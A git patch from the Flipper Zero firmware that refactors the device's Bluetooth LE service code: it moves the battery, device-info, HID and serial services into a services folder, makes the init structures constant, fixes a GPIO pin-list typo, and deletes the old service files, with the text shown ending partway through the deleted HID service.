From d4cad7b8c6696fe01a3bba7070b41bea64300ae3 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 11 Sep 2023 18:39:38 +0300 Subject: [PATCH 01/40] add refactor things back --- applications/services/bt/bt_service/bt.c | 2 +- firmware/targets/f7/ble_glue/app_debug.c | 4 +- firmware/targets/f7/ble_glue/ble_app.c | 91 ++-- .../targets/f7/ble_glue/dev_info_service.c | 220 --------- firmware/targets/f7/ble_glue/hid_service.c | 416 ------------------ .../ble_glue/{ => services}/battery_service.c | 118 +++-- .../ble_glue/{ => services}/battery_service.h | 0 .../f7/ble_glue/services/dev_info_service.c | 176 ++++++++ .../{ => services}/dev_info_service.h | 0 .../services/dev_info_service_uuid.inc | 3 + .../targets/f7/ble_glue/services/gatt_char.c | 123 ++++++ .../targets/f7/ble_glue/services/gatt_char.h | 96 ++++ .../f7/ble_glue/services/hid_service.c | 365 +++++++++++++++ .../f7/ble_glue/{ => services}/hid_service.h | 3 +- .../ble_glue/{ => services}/serial_service.c | 195 ++++---- .../ble_glue/{ => services}/serial_service.h | 0 .../ble_glue/services/serial_service_uuid.inc | 12 + firmware/targets/f7/furi_hal/furi_hal_bt.c | 3 +- .../targets/f7/furi_hal/furi_hal_bt_hid.c | 10 +- .../targets/f7/furi_hal/furi_hal_bt_serial.c | 6 +- .../targets/furi_hal_include/furi_hal_bt.h | 2 +- .../furi_hal_include/furi_hal_bt_serial.h | 2 +- 22 files changed, 970 insertions(+), 877 deletions(-) delete mode 100644 firmware/targets/f7/ble_glue/dev_info_service.c delete mode 100644 firmware/targets/f7/ble_glue/hid_service.c rename firmware/targets/f7/ble_glue/{ => services}/battery_service.c (53%) rename firmware/targets/f7/ble_glue/{ => services}/battery_service.h (100%) create mode 100644 firmware/targets/f7/ble_glue/services/dev_info_service.c rename firmware/targets/f7/ble_glue/{ => services}/dev_info_service.h (100%) create mode 100644 firmware/targets/f7/ble_glue/services/dev_info_service_uuid.inc create mode 100644 firmware/targets/f7/ble_glue/services/gatt_char.c create mode 100644 firmware/targets/f7/ble_glue/services/gatt_char.h create mode 100644 firmware/targets/f7/ble_glue/services/hid_service.c rename firmware/targets/f7/ble_glue/{ => services}/hid_service.h (89%) rename firmware/targets/f7/ble_glue/{ => services}/serial_service.c (57%) rename firmware/targets/f7/ble_glue/{ => services}/serial_service.h (100%) create mode 100644 firmware/targets/f7/ble_glue/services/serial_service_uuid.inc diff --git a/applications/services/bt/bt_service/bt.c b/applications/services/bt/bt_service/bt.c index a842aea45a..191324c9ee 100644 --- a/applications/services/bt/bt_service/bt.c +++ b/applications/services/bt/bt_service/bt.c @@ -1,7 +1,7 @@ #include "bt_i.h" -#include "battery_service.h" #include "bt_keys_storage.h" +#include #include #include #include diff --git a/firmware/targets/f7/ble_glue/app_debug.c b/firmware/targets/f7/ble_glue/app_debug.c index b443bee21f..d288528223 100644 --- a/firmware/targets/f7/ble_glue/app_debug.c +++ b/firmware/targets/f7/ble_glue/app_debug.c @@ -196,14 +196,14 @@ static void APPD_SetCPU2GpioConfig(void) { gpio_config.Pin = gpiob_pin_list; LL_C2_AHB2_GRP1_EnableClock(LL_C2_AHB2_GRP1_PERIPH_GPIOB); LL_GPIO_Init(GPIOB, &gpio_config); - LL_GPIO_ResetOutputPin(GPIOB, gpioa_pin_list); + LL_GPIO_ResetOutputPin(GPIOB, gpiob_pin_list); } if(gpioc_pin_list != 0) { gpio_config.Pin = gpioc_pin_list; LL_C2_AHB2_GRP1_EnableClock(LL_C2_AHB2_GRP1_PERIPH_GPIOC); LL_GPIO_Init(GPIOC, &gpio_config); - LL_GPIO_ResetOutputPin(GPIOC, gpioa_pin_list); + LL_GPIO_ResetOutputPin(GPIOC, gpioc_pin_list); } } diff --git a/firmware/targets/f7/ble_glue/ble_app.c b/firmware/targets/f7/ble_glue/ble_app.c index 37d8f7cd04..c0418d9fe8 100644 --- a/firmware/targets/f7/ble_glue/ble_app.c +++ b/firmware/targets/f7/ble_glue/ble_app.c @@ -33,6 +33,51 @@ static int32_t ble_app_hci_thread(void* context); static void ble_app_hci_event_handler(void* pPayload); static void ble_app_hci_status_not_handler(HCI_TL_CmdStatus_t status); +static const HCI_TL_HciInitConf_t hci_tl_config = { + .p_cmdbuffer = (uint8_t*)&ble_app_cmd_buffer, + .StatusNotCallBack = ble_app_hci_status_not_handler, +}; + +static const SHCI_C2_CONFIG_Cmd_Param_t config_param = { + .PayloadCmdSize = SHCI_C2_CONFIG_PAYLOAD_CMD_SIZE, + .Config1 = SHCI_C2_CONFIG_CONFIG1_BIT0_BLE_NVM_DATA_TO_SRAM, + .BleNvmRamAddress = (uint32_t)ble_app_nvm, + .EvtMask1 = SHCI_C2_CONFIG_EVTMASK1_BIT1_BLE_NVM_RAM_UPDATE_ENABLE, +}; + +static const SHCI_C2_Ble_Init_Cmd_Packet_t ble_init_cmd_packet = { + .Header = {{0, 0, 0}}, // Header unused + .Param = { + .pBleBufferAddress = 0, // pBleBufferAddress not used + .BleBufferSize = 0, // BleBufferSize not used + .NumAttrRecord = CFG_BLE_NUM_GATT_ATTRIBUTES, + .NumAttrServ = CFG_BLE_NUM_GATT_SERVICES, + .AttrValueArrSize = CFG_BLE_ATT_VALUE_ARRAY_SIZE, + .NumOfLinks = CFG_BLE_NUM_LINK, + .ExtendedPacketLengthEnable = CFG_BLE_DATA_LENGTH_EXTENSION, + .PrWriteListSize = CFG_BLE_PREPARE_WRITE_LIST_SIZE, + .MblockCount = CFG_BLE_MBLOCK_COUNT, + .AttMtu = CFG_BLE_MAX_ATT_MTU, + .SlaveSca = CFG_BLE_SLAVE_SCA, + .MasterSca = CFG_BLE_MASTER_SCA, + .LsSource = CFG_BLE_LSE_SOURCE, + .MaxConnEventLength = CFG_BLE_MAX_CONN_EVENT_LENGTH, + .HsStartupTime = CFG_BLE_HSE_STARTUP_TIME, + .ViterbiEnable = CFG_BLE_VITERBI_MODE, + .Options = CFG_BLE_OPTIONS, + .HwVersion = 0, + .max_coc_initiator_nbr = 32, + .min_tx_power = 0, + .max_tx_power = 0, + .rx_model_config = 1, + /* New stack (13.3->15.0) */ + .max_adv_set_nbr = 1, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set + .max_adv_data_len = 31, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set + .tx_path_compens = 0, // RF TX Path Compensation, * 0.1 dB + .rx_path_compens = 0, // RF RX Path Compensation, * 0.1 dB + .ble_core_version = 11, // BLE Core Version: 11(5.2), 12(5.3) + }}; + bool ble_app_init() { SHCI_CmdStatus_t status; ble_app = malloc(sizeof(BleApp)); @@ -44,58 +89,16 @@ bool ble_app_init() { furi_thread_start(ble_app->thread); // Initialize Ble Transport Layer - HCI_TL_HciInitConf_t hci_tl_config = { - .p_cmdbuffer = (uint8_t*)&ble_app_cmd_buffer, - .StatusNotCallBack = ble_app_hci_status_not_handler, - }; hci_init(ble_app_hci_event_handler, (void*)&hci_tl_config); // Configure NVM store for pairing data - SHCI_C2_CONFIG_Cmd_Param_t config_param = { - .PayloadCmdSize = SHCI_C2_CONFIG_PAYLOAD_CMD_SIZE, - .Config1 = SHCI_C2_CONFIG_CONFIG1_BIT0_BLE_NVM_DATA_TO_SRAM, - .BleNvmRamAddress = (uint32_t)ble_app_nvm, - .EvtMask1 = SHCI_C2_CONFIG_EVTMASK1_BIT1_BLE_NVM_RAM_UPDATE_ENABLE, - }; - status = SHCI_C2_Config(&config_param); + status = SHCI_C2_Config((SHCI_C2_CONFIG_Cmd_Param_t*)&config_param); if(status) { FURI_LOG_E(TAG, "Failed to configure 2nd core: %d", status); } // Start ble stack on 2nd core - SHCI_C2_Ble_Init_Cmd_Packet_t ble_init_cmd_packet = { - .Header = {{0, 0, 0}}, // Header unused - .Param = { - .pBleBufferAddress = 0, // pBleBufferAddress not used - .BleBufferSize = 0, // BleBufferSize not used - .NumAttrRecord = CFG_BLE_NUM_GATT_ATTRIBUTES, - .NumAttrServ = CFG_BLE_NUM_GATT_SERVICES, - .AttrValueArrSize = CFG_BLE_ATT_VALUE_ARRAY_SIZE, - .NumOfLinks = CFG_BLE_NUM_LINK, - .ExtendedPacketLengthEnable = CFG_BLE_DATA_LENGTH_EXTENSION, - .PrWriteListSize = CFG_BLE_PREPARE_WRITE_LIST_SIZE, - .MblockCount = CFG_BLE_MBLOCK_COUNT, - .AttMtu = CFG_BLE_MAX_ATT_MTU, - .SlaveSca = CFG_BLE_SLAVE_SCA, - .MasterSca = CFG_BLE_MASTER_SCA, - .LsSource = CFG_BLE_LSE_SOURCE, - .MaxConnEventLength = CFG_BLE_MAX_CONN_EVENT_LENGTH, - .HsStartupTime = CFG_BLE_HSE_STARTUP_TIME, - .ViterbiEnable = CFG_BLE_VITERBI_MODE, - .Options = CFG_BLE_OPTIONS, - .HwVersion = 0, - .max_coc_initiator_nbr = 32, - .min_tx_power = 0, - .max_tx_power = 0, - .rx_model_config = 1, - /* New stack (13.3->15.0) */ - .max_adv_set_nbr = 1, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set - .max_adv_data_len = 31, // Only used if SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV is set - .tx_path_compens = 0, // RF TX Path Compensation, * 0.1 dB - .rx_path_compens = 0, // RF RX Path Compensation, * 0.1 dB - .ble_core_version = 11, // BLE Core Version: 11(5.2), 12(5.3) - }}; - status = SHCI_C2_BLE_Init(&ble_init_cmd_packet); + status = SHCI_C2_BLE_Init((SHCI_C2_Ble_Init_Cmd_Packet_t*)&ble_init_cmd_packet); if(status) { FURI_LOG_E(TAG, "Failed to start ble stack: %d", status); } diff --git a/firmware/targets/f7/ble_glue/dev_info_service.c b/firmware/targets/f7/ble_glue/dev_info_service.c deleted file mode 100644 index d24058632f..0000000000 --- a/firmware/targets/f7/ble_glue/dev_info_service.c +++ /dev/null @@ -1,220 +0,0 @@ -#include "dev_info_service.h" -#include "app_common.h" -#include - -#include -#include -#include - -#define TAG "BtDevInfoSvc" - -typedef struct { - uint16_t service_handle; - uint16_t man_name_char_handle; - uint16_t serial_num_char_handle; - uint16_t firmware_rev_char_handle; - uint16_t software_rev_char_handle; - uint16_t rpc_version_char_handle; - FuriString* version_string; - char hardware_revision[4]; -} DevInfoSvc; - -static DevInfoSvc* dev_info_svc = NULL; - -static const char dev_info_man_name[] = "Flipper Devices Inc."; -static const char dev_info_serial_num[] = "1.0"; -static const char dev_info_rpc_version[] = TOSTRING(PROTOBUF_MAJOR_VERSION.PROTOBUF_MINOR_VERSION); - -static const uint8_t dev_info_rpc_version_uuid[] = - {0x33, 0xa9, 0xb5, 0x3e, 0x87, 0x5d, 0x1a, 0x8e, 0xc8, 0x47, 0x5e, 0xae, 0x6d, 0x66, 0xf6, 0x03}; - -void dev_info_svc_start() { - dev_info_svc = malloc(sizeof(DevInfoSvc)); - dev_info_svc->version_string = furi_string_alloc_printf( - "%s %s %s %s", - version_get_githash(NULL), - version_get_version(NULL), - version_get_gitbranchnum(NULL), - version_get_builddate(NULL)); - snprintf( - dev_info_svc->hardware_revision, - sizeof(dev_info_svc->hardware_revision), - "%d", - version_get_target(NULL)); - tBleStatus status; - - // Add Device Information Service - uint16_t uuid = DEVICE_INFORMATION_SERVICE_UUID; - status = aci_gatt_add_service( - UUID_TYPE_16, (Service_UUID_t*)&uuid, PRIMARY_SERVICE, 11, &dev_info_svc->service_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add Device Information Service: %d", status); - } - - // Add characteristics - uuid = MANUFACTURER_NAME_UUID; - status = aci_gatt_add_char( - dev_info_svc->service_handle, - UUID_TYPE_16, - (Char_UUID_t*)&uuid, - strlen(dev_info_man_name), - CHAR_PROP_READ, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &dev_info_svc->man_name_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add manufacturer name char: %d", status); - } - uuid = SERIAL_NUMBER_UUID; - status = aci_gatt_add_char( - dev_info_svc->service_handle, - UUID_TYPE_16, - (Char_UUID_t*)&uuid, - strlen(dev_info_serial_num), - CHAR_PROP_READ, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &dev_info_svc->serial_num_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add serial number char: %d", status); - } - uuid = FIRMWARE_REVISION_UUID; - status = aci_gatt_add_char( - dev_info_svc->service_handle, - UUID_TYPE_16, - (Char_UUID_t*)&uuid, - strlen(dev_info_svc->hardware_revision), - CHAR_PROP_READ, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &dev_info_svc->firmware_rev_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add firmware revision char: %d", status); - } - uuid = SOFTWARE_REVISION_UUID; - status = aci_gatt_add_char( - dev_info_svc->service_handle, - UUID_TYPE_16, - (Char_UUID_t*)&uuid, - furi_string_size(dev_info_svc->version_string), - CHAR_PROP_READ, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &dev_info_svc->software_rev_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add software revision char: %d", status); - } - status = aci_gatt_add_char( - dev_info_svc->service_handle, - UUID_TYPE_128, - (const Char_UUID_t*)dev_info_rpc_version_uuid, - strlen(dev_info_rpc_version), - CHAR_PROP_READ, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &dev_info_svc->rpc_version_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add rpc version characteristic: %d", status); - } - - // Update characteristics - status = aci_gatt_update_char_value( - dev_info_svc->service_handle, - dev_info_svc->man_name_char_handle, - 0, - strlen(dev_info_man_name), - (uint8_t*)dev_info_man_name); - if(status) { - FURI_LOG_E(TAG, "Failed to update manufacturer name char: %d", status); - } - status = aci_gatt_update_char_value( - dev_info_svc->service_handle, - dev_info_svc->serial_num_char_handle, - 0, - strlen(dev_info_serial_num), - (uint8_t*)dev_info_serial_num); - if(status) { - FURI_LOG_E(TAG, "Failed to update serial number char: %d", status); - } - status = aci_gatt_update_char_value( - dev_info_svc->service_handle, - dev_info_svc->firmware_rev_char_handle, - 0, - strlen(dev_info_svc->hardware_revision), - (uint8_t*)dev_info_svc->hardware_revision); - if(status) { - FURI_LOG_E(TAG, "Failed to update firmware revision char: %d", status); - } - status = aci_gatt_update_char_value( - dev_info_svc->service_handle, - dev_info_svc->software_rev_char_handle, - 0, - furi_string_size(dev_info_svc->version_string), - (uint8_t*)furi_string_get_cstr(dev_info_svc->version_string)); - if(status) { - FURI_LOG_E(TAG, "Failed to update software revision char: %d", status); - } - status = aci_gatt_update_char_value( - dev_info_svc->service_handle, - dev_info_svc->rpc_version_char_handle, - 0, - strlen(dev_info_rpc_version), - (uint8_t*)dev_info_rpc_version); - if(status) { - FURI_LOG_E(TAG, "Failed to update rpc version char: %d", status); - } -} - -void dev_info_svc_stop() { - tBleStatus status; - if(dev_info_svc) { - furi_string_free(dev_info_svc->version_string); - // Delete service characteristics - status = - aci_gatt_del_char(dev_info_svc->service_handle, dev_info_svc->man_name_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete manufacturer name char: %d", status); - } - status = - aci_gatt_del_char(dev_info_svc->service_handle, dev_info_svc->serial_num_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete serial number char: %d", status); - } - status = aci_gatt_del_char( - dev_info_svc->service_handle, dev_info_svc->firmware_rev_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete firmware revision char: %d", status); - } - status = aci_gatt_del_char( - dev_info_svc->service_handle, dev_info_svc->software_rev_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete software revision char: %d", status); - } - status = - aci_gatt_del_char(dev_info_svc->service_handle, dev_info_svc->rpc_version_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete rpc version char: %d", status); - } - // Delete service - status = aci_gatt_del_service(dev_info_svc->service_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete device info service: %d", status); - } - free(dev_info_svc); - dev_info_svc = NULL; - } -} - -bool dev_info_svc_is_started() { - return dev_info_svc != NULL; -} diff --git a/firmware/targets/f7/ble_glue/hid_service.c b/firmware/targets/f7/ble_glue/hid_service.c deleted file mode 100644 index a31d6015f5..0000000000 --- a/firmware/targets/f7/ble_glue/hid_service.c +++ /dev/null @@ -1,416 +0,0 @@ -#include "hid_service.h" -#include "app_common.h" -#include - -#include - -#define TAG "BtHid" - -typedef struct { - uint16_t svc_handle; - uint16_t protocol_mode_char_handle; - uint16_t report_char_handle[HID_SVC_REPORT_COUNT]; - uint16_t report_ref_desc_handle[HID_SVC_REPORT_COUNT]; - uint16_t report_map_char_handle; - uint16_t info_char_handle; - uint16_t ctrl_point_char_handle; - // led state - uint16_t led_state_char_handle; - uint16_t led_state_desc_handle; - HidLedStateEventCallback led_state_event_callback; - void* led_state_ctx; -} HIDSvc; - -static HIDSvc* hid_svc = NULL; - -static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { - SVCCTL_EvtAckStatus_t ret = SVCCTL_EvtNotAck; - hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data); - evt_blecore_aci* blecore_evt = (evt_blecore_aci*)event_pckt->data; - // aci_gatt_attribute_modified_event_rp0* attribute_modified; - if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) { - if(blecore_evt->ecode == ACI_GATT_ATTRIBUTE_MODIFIED_VSEVT_CODE) { - // Process modification events - ret = SVCCTL_EvtAckFlowEnable; - } else if(blecore_evt->ecode == ACI_GATT_SERVER_CONFIRMATION_VSEVT_CODE) { - // Process notification confirmation - ret = SVCCTL_EvtAckFlowEnable; - } else if(blecore_evt->ecode == ACI_GATT_WRITE_PERMIT_REQ_VSEVT_CODE) { - // Process write request - aci_gatt_write_permit_req_event_rp0* req = - (aci_gatt_write_permit_req_event_rp0*)blecore_evt->data; - - furi_check(hid_svc->led_state_event_callback && hid_svc->led_state_ctx); - - // this check is likely to be incorrect, it will actually work in our case - // but we need to investigate gatt api to see what is the rules - // that specify attibute handle value from char handle (or the reverse) - if(req->Attribute_Handle == (hid_svc->led_state_char_handle + 1)) { - hid_svc->led_state_event_callback(req->Data[0], hid_svc->led_state_ctx); - aci_gatt_write_resp( - req->Connection_Handle, - req->Attribute_Handle, - 0x00, /* write_status = 0 (no error))*/ - 0x00, /* err_code */ - req->Data_Length, - req->Data); - aci_gatt_write_char_value( - req->Connection_Handle, - hid_svc->led_state_char_handle, - req->Data_Length, - req->Data); - ret = SVCCTL_EvtAckFlowEnable; - } - } - } - return ret; -} - -void hid_svc_start() { - tBleStatus status; - hid_svc = malloc(sizeof(HIDSvc)); - Service_UUID_t svc_uuid = {}; - Char_Desc_Uuid_t desc_uuid = {}; - Char_UUID_t char_uuid = {}; - - // Register event handler - SVCCTL_RegisterSvcHandler(hid_svc_event_handler); - // Add service - svc_uuid.Service_UUID_16 = HUMAN_INTERFACE_DEVICE_SERVICE_UUID; - /** - * Add Human Interface Device Service - */ - status = aci_gatt_add_service( - UUID_TYPE_16, - &svc_uuid, - PRIMARY_SERVICE, - 2 + /* protocol mode */ - (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + - (3 * HID_SVC_FEATURE_REPORT_COUNT) + 1 + 2 + 2 + 2 + - 4, /* Service + Report Map + HID Information + HID Control Point + LED state */ - &hid_svc->svc_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add HID service: %d", status); - } - // Add Protocol mode characteristics - char_uuid.Char_UUID_16 = PROTOCOL_MODE_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - 1, - CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP, - ATTR_PERMISSION_NONE, - GATT_NOTIFY_ATTRIBUTE_WRITE, - 10, - CHAR_VALUE_LEN_CONSTANT, - &hid_svc->protocol_mode_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add protocol mode characteristic: %d", status); - } - // Update Protocol mode characteristic - uint8_t protocol_mode = 1; - status = aci_gatt_update_char_value( - hid_svc->svc_handle, hid_svc->protocol_mode_char_handle, 0, 1, &protocol_mode); - if(status) { - FURI_LOG_E(TAG, "Failed to update protocol mode characteristic: %d", status); - } - -#if(HID_SVC_REPORT_COUNT != 0) - for(uint8_t i = 0; i < HID_SVC_REPORT_COUNT; i++) { - if(i < HID_SVC_INPUT_REPORT_COUNT) { //-V547 - uint8_t buf[2] = {i + 1, 1}; // 1 input - char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - HID_SVC_REPORT_MAX_LEN, - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_NONE, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_VARIABLE, - &(hid_svc->report_char_handle[i])); - if(status) { - FURI_LOG_E(TAG, "Failed to add report characteristic: %d", status); - } - - desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; - status = aci_gatt_add_char_desc( - hid_svc->svc_handle, - hid_svc->report_char_handle[i], - UUID_TYPE_16, - &desc_uuid, - HID_SVC_REPORT_REF_LEN, - HID_SVC_REPORT_REF_LEN, - buf, - ATTR_PERMISSION_NONE, - ATTR_ACCESS_READ_WRITE, - GATT_DONT_NOTIFY_EVENTS, - MIN_ENCRY_KEY_SIZE, - CHAR_VALUE_LEN_CONSTANT, - &(hid_svc->report_ref_desc_handle[i])); - if(status) { - FURI_LOG_E(TAG, "Failed to add report reference descriptor: %d", status); - } - } else if((i - HID_SVC_INPUT_REPORT_COUNT) < HID_SVC_OUTPUT_REPORT_COUNT) { - uint8_t buf[2] = {i + 1, 2}; // 2 output - char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - HID_SVC_REPORT_MAX_LEN, - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_NONE, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_VARIABLE, - &(hid_svc->report_char_handle[i])); - if(status) { - FURI_LOG_E(TAG, "Failed to add report characteristic: %d", status); - } - - desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; - status = aci_gatt_add_char_desc( - hid_svc->svc_handle, - hid_svc->report_char_handle[i], - UUID_TYPE_16, - &desc_uuid, - HID_SVC_REPORT_REF_LEN, - HID_SVC_REPORT_REF_LEN, - buf, - ATTR_PERMISSION_NONE, - ATTR_ACCESS_READ_WRITE, - GATT_DONT_NOTIFY_EVENTS, - MIN_ENCRY_KEY_SIZE, - CHAR_VALUE_LEN_CONSTANT, - &(hid_svc->report_ref_desc_handle[i])); - if(status) { - FURI_LOG_E(TAG, "Failed to add report reference descriptor: %d", status); - } - } else { - uint8_t buf[2] = {i + 1, 3}; // 3 feature - char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - HID_SVC_REPORT_MAX_LEN, - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_NONE, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_VARIABLE, - &(hid_svc->report_char_handle[i])); - if(status) { - FURI_LOG_E(TAG, "Failed to add report characteristic: %d", status); - } - - desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; - status = aci_gatt_add_char_desc( - hid_svc->svc_handle, - hid_svc->report_char_handle[i], - UUID_TYPE_16, - &desc_uuid, - HID_SVC_REPORT_REF_LEN, - HID_SVC_REPORT_REF_LEN, - buf, - ATTR_PERMISSION_NONE, - ATTR_ACCESS_READ_WRITE, - GATT_DONT_NOTIFY_EVENTS, - MIN_ENCRY_KEY_SIZE, - CHAR_VALUE_LEN_CONSTANT, - &(hid_svc->report_ref_desc_handle[i])); - if(status) { - FURI_LOG_E(TAG, "Failed to add report reference descriptor: %d", status); - } - } - } -#endif - // Add led state output report - char_uuid.Char_UUID_16 = REPORT_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - 1, - CHAR_PROP_READ | CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE, - ATTR_PERMISSION_NONE, - GATT_NOTIFY_ATTRIBUTE_WRITE | GATT_NOTIFY_WRITE_REQ_AND_WAIT_FOR_APPL_RESP, - 10, - CHAR_VALUE_LEN_CONSTANT, - &(hid_svc->led_state_char_handle)); - if(status) { - FURI_LOG_E(TAG, "Failed to add led state characteristic: %d", status); - } - - // Add led state char descriptor specifying it is an output report - uint8_t buf[2] = {HID_SVC_REPORT_COUNT + 1, 2}; - desc_uuid.Char_UUID_16 = REPORT_REFERENCE_DESCRIPTOR_UUID; - status = aci_gatt_add_char_desc( - hid_svc->svc_handle, - hid_svc->led_state_char_handle, - UUID_TYPE_16, - &desc_uuid, - HID_SVC_REPORT_REF_LEN, - HID_SVC_REPORT_REF_LEN, - buf, - ATTR_PERMISSION_NONE, - ATTR_ACCESS_READ_WRITE, - GATT_DONT_NOTIFY_EVENTS, - MIN_ENCRY_KEY_SIZE, - CHAR_VALUE_LEN_CONSTANT, - &(hid_svc->led_state_desc_handle)); - if(status) { - FURI_LOG_E(TAG, "Failed to add led state descriptor: %d", status); - } - // Add Report Map characteristic - char_uuid.Char_UUID_16 = REPORT_MAP_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - HID_SVC_REPORT_MAP_MAX_LEN, - CHAR_PROP_READ, - ATTR_PERMISSION_NONE, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_VARIABLE, - &hid_svc->report_map_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add report map characteristic: %d", status); - } - - // Add Information characteristic - char_uuid.Char_UUID_16 = HID_INFORMATION_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - HID_SVC_INFO_LEN, - CHAR_PROP_READ, - ATTR_PERMISSION_NONE, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &hid_svc->info_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add information characteristic: %d", status); - } - // Add Control Point characteristic - char_uuid.Char_UUID_16 = HID_CONTROL_POINT_CHAR_UUID; - status = aci_gatt_add_char( - hid_svc->svc_handle, - UUID_TYPE_16, - &char_uuid, - HID_SVC_CONTROL_POINT_LEN, - CHAR_PROP_WRITE_WITHOUT_RESP, - ATTR_PERMISSION_NONE, - GATT_NOTIFY_ATTRIBUTE_WRITE, - 10, - CHAR_VALUE_LEN_CONSTANT, - &hid_svc->ctrl_point_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add control point characteristic: %d", status); - } - - hid_svc->led_state_event_callback = NULL; - hid_svc->led_state_ctx = NULL; -} - -bool hid_svc_update_report_map(const uint8_t* data, uint16_t len) { - furi_assert(data); - furi_assert(hid_svc); - - tBleStatus status = aci_gatt_update_char_value( - hid_svc->svc_handle, hid_svc->report_map_char_handle, 0, len, data); - if(status) { - FURI_LOG_E(TAG, "Failed updating report map characteristic: %d", status); - return false; - } - return true; -} - -bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16_t len) { - furi_assert(data); - furi_assert(hid_svc); - - tBleStatus status = aci_gatt_update_char_value( - hid_svc->svc_handle, hid_svc->report_char_handle[input_report_num], 0, len, data); - if(status) { - FURI_LOG_E(TAG, "Failed updating report characteristic: %d", status); - return false; - } - return true; -} - -bool hid_svc_update_info(uint8_t* data, uint16_t len) { - furi_assert(data); - furi_assert(hid_svc); - - tBleStatus status = - aci_gatt_update_char_value(hid_svc->svc_handle, hid_svc->info_char_handle, 0, len, data); - if(status) { - FURI_LOG_E(TAG, "Failed updating info characteristic: %d", status); - return false; - } - return true; -} - -void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context) { - furi_assert(hid_svc); - furi_assert(callback); - furi_assert(context); - - hid_svc->led_state_event_callback = callback; - hid_svc->led_state_ctx = context; -} - -bool hid_svc_is_started() { - return hid_svc != NULL; -} - -void hid_svc_stop() { - tBleStatus status; - if(hid_svc) { - // Delete characteristics - status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->report_map_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Report Map characteristic: %d", status); - } -#if(HID_SVC_INPUT_REPORT_COUNT != 0) - for(uint8_t i = 0; i < HID_SVC_REPORT_COUNT; i++) { - status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->report_char_handle[i]); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Report characteristic: %d", status); - } - } -#endif - status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->protocol_mode_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Protocol Mode characteristic: %d", status); - } - status = aci_gatt_del_char(hid_svc->svc_handle, hid_svc->info_char_handle); - if(status) { - 